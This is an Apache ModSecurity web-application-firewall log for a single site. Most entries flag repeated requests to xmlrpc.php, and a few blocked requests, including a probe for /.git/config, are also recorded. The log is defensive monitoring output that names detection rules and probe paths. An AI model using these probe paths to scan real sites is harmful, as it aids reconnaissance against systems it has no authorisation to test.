[Thu Apr 16 09:06:22.579938 2026] [:error] [pid 57537:tid 57592] [client 104.208.160.135:50754] [client 104.208.160.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.208.160.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA2DlVQRS8nm73ENAlWOQAAAFE"]
[Thu Apr 16 09:06:46.055202 2026] [:error] [pid 29603:tid 29605] [client 47.244.90.157:48138] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA2JlfGOR6fpTWUAzoFngAAAQA"]
[Thu Apr 16 09:07:56.468180 2026] [:error] [pid 49094:tid 49116] [client 52.178.68.120:50562] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA2bDbDwvcXorHR_MziLAAAAVQ"]
[Thu Apr 16 09:09:06.886950 2026] [:error] [pid 29603:tid 29612] [client 51.77.214.9:59260] [client 51.77.214.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.77.214.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA2slfGOR6fpTWUAzoGFAAAAQc"]
[Thu Apr 16 09:11:17.466361 2026] [:error] [pid 57639:tid 57655] [client 67.205.159.76:49280] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA3NaMCQoTw7TsxWukZwAAAAMk"]
[Thu Apr 16 09:14:27.032691 2026] [:error] [pid 57639:tid 57655] [client 195.242.102.130:34132] [client 195.242.102.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.242.102.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA386MCQoTw7TsxWukawwAAAMk"]
[Thu Apr 16 09:15:12.541191 2026] [:error] [pid 29603:tid 29615] [client 123.30.233.48:47324] [client 123.30.233.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.30.233.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA4IFfGOR6fpTWUAzoH2gAAAQo"]
[Thu Apr 16 09:18:35.514457 2026] [:error] [pid 57537:tid 57578] [client 37.77.106.60:39792] [client 37.77.106.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.77.106.60, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA461VQRS8nm73ENAlYEwAAAEM"]
[Thu Apr 16 09:27:29.842166 2026] [:error] [pid 29603:tid 29620] [client 185.199.223.39:40064] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA7AVfGOR6fpTWUAzoKUQAAAQ8"]
[Thu Apr 16 09:30:23.284500 2026] [:error] [pid 57538:tid 57604] [client 5.9.109.189:35716] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA7r8uMaiEF5SVR2BdoZAAAAII"]
[Thu Apr 16 09:35:51.313878 2026] [:error] [pid 57538:tid 57623] [client 138.201.172.7:52256] [client 138.201.172.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.201.172.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA898uMaiEF5SVR2BdpdgAAAJU"]
[Thu Apr 16 09:36:37.870757 2026] [:error] [pid 57538:tid 57611] [client 143.244.166.58:37260] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA9JcuMaiEF5SVR2BdpuAAAAIk"]
[Thu Apr 16 09:41:09.106950 2026] [:error] [pid 29603:tid 29616] [client 138.2.231.152:53238] [client 138.2.231.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.2.231.152, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA-NVfGOR6fpTWUAzoM5AAAAQs"]
[Thu Apr 16 09:41:47.560670 2026] [:error] [pid 57538:tid 57621] [client 51.195.86.160:54338] [client 51.195.86.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.195.86.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA-W8uMaiEF5SVR2BdqgAAAAJM"]
[Thu Apr 16 09:42:35.363443 2026] [:error] [pid 29603:tid 29621] [client 52.226.240.29:5760] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.226.240.29, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA-i1fGOR6fpTWUAzoNaAAAARA"]
[Thu Apr 16 09:45:00.269696 2026] [:error] [pid 29603:tid 29616] [client 107.180.249.30:55022] [client 107.180.249.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.249.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA_HFfGOR6fpTWUAzoOsgAAAQs"]
[Thu Apr 16 09:45:36.929318 2026] [:error] [pid 49094:tid 49107] [client 107.170.74.222:51826] [client 107.170.74.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.170.74.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA_QDbDwvcXorHR_MzutAAAAUs"]
[Thu Apr 16 09:46:06.017323 2026] [:error] [pid 57538:tid 57624] [client 119.154.252.30:53156] [client 119.154.252.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.154.252.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA_XsuMaiEF5SVR2Bdr6AAAAJY"]
[Thu Apr 16 09:46:24.721763 2026] [:error] [pid 57639:tid 57654] [client 52.206.118.176:36346] [client 52.206.118.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.206.118.176, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA_cKMCQoTw7TsxWukpHQAAAMg"]
[Thu Apr 16 09:49:23.079073 2026] [:error] [pid 57538:tid 57607] [client 107.170.74.222:24404] [client 107.170.74.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.170.74.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBAI8uMaiEF5SVR2BdsYQAAAIU"]
[Thu Apr 16 09:50:59.599873 2026] [:error] [pid 57538:tid 57604] [client 116.193.73.128:57407] [client 116.193.73.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.193.73.128, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBAg8uMaiEF5SVR2Bds2AAAAII"]
[Thu Apr 16 09:52:53.656206 2026] [:error] [pid 49094:tid 49102] [client 147.135.255.201:41454] [client 147.135.255.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.135.255.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBA9TbDwvcXorHR_MzxnAAAAUY"]
[Thu Apr 16 09:53:18.412709 2026] [:error] [pid 49094:tid 49097] [client 156.67.27.161:56254] [client 156.67.27.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.27.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBBDjbDwvcXorHR_Mzx5QAAAUE"]
[Thu Apr 16 09:55:03.251741 2026] [:error] [pid 57538:tid 57611] [client 147.182.174.7:56560] [client 147.182.174.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.174.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBBd8uMaiEF5SVR2BdtiAAAAIk"]
[Thu Apr 16 09:57:50.156188 2026] [:error] [pid 49094:tid 49113] [client 67.205.43.38:59426] [client 67.205.43.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.43.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBCHjbDwvcXorHR_MzzAQAAAVE"]
[Thu Apr 16 09:58:24.585583 2026] [:error] [pid 57538:tid 57619] [client 147.182.174.7:48738] [client 147.182.174.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.174.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBCQMuMaiEF5SVR2Bdt_QAAAJE"]
[Thu Apr 16 09:59:07.767786 2026] [:error] [pid 57639:tid 57661] [client 43.133.187.11:44716] [client 43.133.187.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeBCa6MCQoTw7TsxWukvzgAAAM8"]
[Thu Apr 16 10:01:21.409350 2026] [:error] [pid 29603:tid 29619] [client 54.38.195.241:47292] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBC8VfGOR6fpTWUAzoTEwAAAQ4"]
[Thu Apr 16 10:02:49.869279 2026] [:error] [pid 57639:tid 57647] [client 15.235.163.7:47722] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBDSaMCQoTw7TsxWukyGgAAAME"]
[Thu Apr 16 10:04:16.630105 2026] [:error] [pid 29603:tid 29623] [client 164.132.207.73:37058] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBDoFfGOR6fpTWUAzoTywAAARI"]
[Thu Apr 16 10:04:31.215517 2026] [:error] [pid 57639:tid 57657] [client 185.199.223.93:42270] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBDr6MCQoTw7TsxWukzTQAAAMs"]
[Thu Apr 16 10:06:22.558533 2026] [:error] [pid 29603:tid 29619] [client 185.51.79.114:45274] [client 185.51.79.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.51.79.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBEHlfGOR6fpTWUAzoUQAAAAQ4"]
[Thu Apr 16 10:08:20.729085 2026] [:error] [pid 57538:tid 57611] [client 109.228.52.205:43558] [client 109.228.52.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.228.52.205, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBElMuMaiEF5SVR2BdwSAAAAIk"]
[Thu Apr 16 10:13:21.407921 2026] [:error] [pid 49094:tid 49114] [client 194.164.166.170:42578] [client 194.164.166.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.166.170, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBFwTbDwvcXorHR_Mz5SgAAAVI"]
[Thu Apr 16 10:13:38.787626 2026] [:error] [pid 57536:tid 57560] [client 159.89.91.236:45724] [client 159.89.91.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.91.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBF0iQU4faGja6jpDumlwAAAAw"]
[Thu Apr 16 10:15:34.166136 2026] [:error] [pid 49094:tid 49103] [client 98.93.160.221:56092] [client 98.93.160.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeBGRjbDwvcXorHR_Mz64QAAAUc"]
[Thu Apr 16 10:16:12.103925 2026] [:error] [pid 57537:tid 57577] [client 157.90.158.130:56064] [client 157.90.158.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.158.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBGbFVQRS8nm73ENAlg4gAAAEI"]
[Thu Apr 16 10:18:45.786117 2026] [:error] [pid 57639:tid 57652] [client 155.133.142.66:64687] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBHBaMCQoTw7TsxWuk7LwAAAMY"]
[Thu Apr 16 10:21:59.719633 2026] [:error] [pid 49094:tid 49096] [client 57.128.117.142:58238] [client 57.128.117.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.128.117.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBHxzbDwvcXorHR_Mz9EAAAAUA"]
[Thu Apr 16 10:23:49.509994 2026] [:error] [pid 57538:tid 57604] [client 137.74.43.174:35644] [client 137.74.43.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.74.43.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBINcuMaiEF5SVR2Bdz7AAAAII"]
[Thu Apr 16 10:23:52.145276 2026] [:error] [pid 49094:tid 49113] [client 107.180.249.30:42924] [client 107.180.249.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.249.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBIODbDwvcXorHR_Mz91wAAAVE"]
[Thu Apr 16 10:36:29.288390 2026] [:error] [pid 57538:tid 57625] [client 47.130.205.94:54404] [client 47.130.205.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.130.205.94, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBLLcuMaiEF5SVR2Bd2LQAAAJc"]
[Thu Apr 16 10:39:02.802314 2026] [:error] [pid 29603:tid 29617] [client 35.226.125.165:38968] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBLxlfGOR6fpTWUAzodqgAAAQw"]
[Thu Apr 16 10:40:35.971330 2026] [:error] [pid 57639:tid 57670] [client 104.248.23.4:42730] [client 104.248.23.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.248.23.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBMI6MCQoTw7TsxWulHGAAAANg"]
[Thu Apr 16 10:44:44.855423 2026] [:error] [pid 57538:tid 57603] [client 20.163.27.0:47358] [client 20.163.27.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.163.27.0, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBNHMuMaiEF5SVR2Bd4HQAAAIE"]
[Thu Apr 16 10:44:53.076041 2026] [:error] [pid 57538:tid 57626] [client 180.93.52.173:56300] [client 180.93.52.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.52.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBNJcuMaiEF5SVR2Bd4JQAAAJg"]
[Thu Apr 16 10:46:38.193567 2026] [:error] [pid 7880:tid 7903] [client 217.154.192.21:47512] [client 217.154.192.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.192.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBNjqaezm4fSGc0yULvCQAAAZI"]
[Thu Apr 16 10:46:49.317873 2026] [:error] [pid 57538:tid 57620] [client 167.99.153.99:34214] [client 167.99.153.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.153.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBNmcuMaiEF5SVR2Bd4kgAAAJI"]
[Thu Apr 16 10:47:07.436336 2026] [:error] [pid 57536:tid 57572] [client 78.88.230.100:45816] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBNqyQU4faGja6jpDuqnQAAABg"]
[Thu Apr 16 10:52:00.077003 2026] [:error] [pid 49094:tid 49113] [client 52.226.240.29:5760] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.226.240.29, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBO0DbDwvcXorHR_MwGtgAAAVE"]
[Thu Apr 16 10:54:04.253814 2026] [:error] [pid 49094:tid 49102] [client 217.154.192.21:47144] [client 217.154.192.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.192.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBPTDbDwvcXorHR_MwHHQAAAUY"]
[Thu Apr 16 10:54:56.446769 2026] [:error] [pid 7880:tid 7892] [client 209.42.18.249:55718] [client 209.42.18.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.42.18.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBPgKaezm4fSGc0yULyBAAAAYc"]
[Thu Apr 16 10:56:51.544936 2026] [:error] [pid 7880:tid 7895] [client 172.237.101.239:48048] [client 172.237.101.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.237.101.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBP86aezm4fSGc0yULypgAAAYo"]
[Thu Apr 16 10:59:41.795555 2026] [:error] [pid 57538:tid 57617] [client 156.67.27.161:39760] [client 156.67.27.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.27.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBQncuMaiEF5SVR2Bd6KAAAAI8"]
[Thu Apr 16 11:00:08.508037 2026] [:error] [pid 49094:tid 49105] [client 45.159.231.196:60152] [client 45.159.231.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.159.231.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBQuDbDwvcXorHR_MwI8gAAAUk"]
[Thu Apr 16 11:01:55.245822 2026] [:error] [pid 57639:tid 57655] [client 82.165.10.186:46232] [client 82.165.10.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.165.10.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBRI6MCQoTw7TsxWulRZgAAAMk"]
